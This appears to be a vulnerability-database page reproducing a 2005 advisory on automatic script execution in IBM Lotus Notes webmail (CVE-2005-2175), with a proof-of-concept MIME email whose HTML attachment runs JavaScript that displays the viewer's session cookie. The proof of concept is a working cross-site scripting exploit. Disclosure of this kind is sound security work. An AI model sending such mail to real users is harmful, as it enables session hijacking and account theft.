IBM Lotus Domino Notes 6.0/6.5 - Mail Template Automatic Script Execution
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
 | IBM Lotus Notes Cross Site Scripting (CVE-2005-2175) | 22 Oct 200900:00 | – | checkpoint_advisories |
 | CVE-2005-2175 | 9 Jul 200504:00 | – | cve |
 | CVE-2005-2175 | 9 Jul 200504:00 | – | cvelist |
 | CVE-2005-2175 | 9 Jul 200504:00 | – | nvd |
source: https://www.securityfocus.com/bid/14164/info
IBM Lotus Notes email client is prone to an input validation vulnerability. Reports indicate that HTML and JavaScript attached to received email messages is executed automatically when the email message is viewed. Specifically, users accessing standard Notes mail templates through a Web mail client are affected.
This vulnerability may be leveraged by a remote attacker to automatically execute arbitrary script code in the context of a target user.
Content-Transfer-Encoding: 8bit
Content-Type: multipart/mixed; boundary="0-1940165274-1120658611=:34349"
--0-1940165274-1120658611=:34349
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Id:
Content-Transfer-Encoding: quoted-printable
read it
=09
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=20
--0-1940165274-1120658611=:34349
Content-Type: text/html; name="malxxx.html"
Content-Disposition: inline; filename="malxxx.html"
Content-Description: 268262132-malxxx.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<title>Test XSS of uploaded documents</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
</HEAD>
<BODY>
<SCRIPT>
document.write('The cookie is:<br> ' + document.cookie + '<p>');
</SCRIPT>
</BODY></HTML>
--0-1940165274-1120658611=:34349--Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Jun 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.05209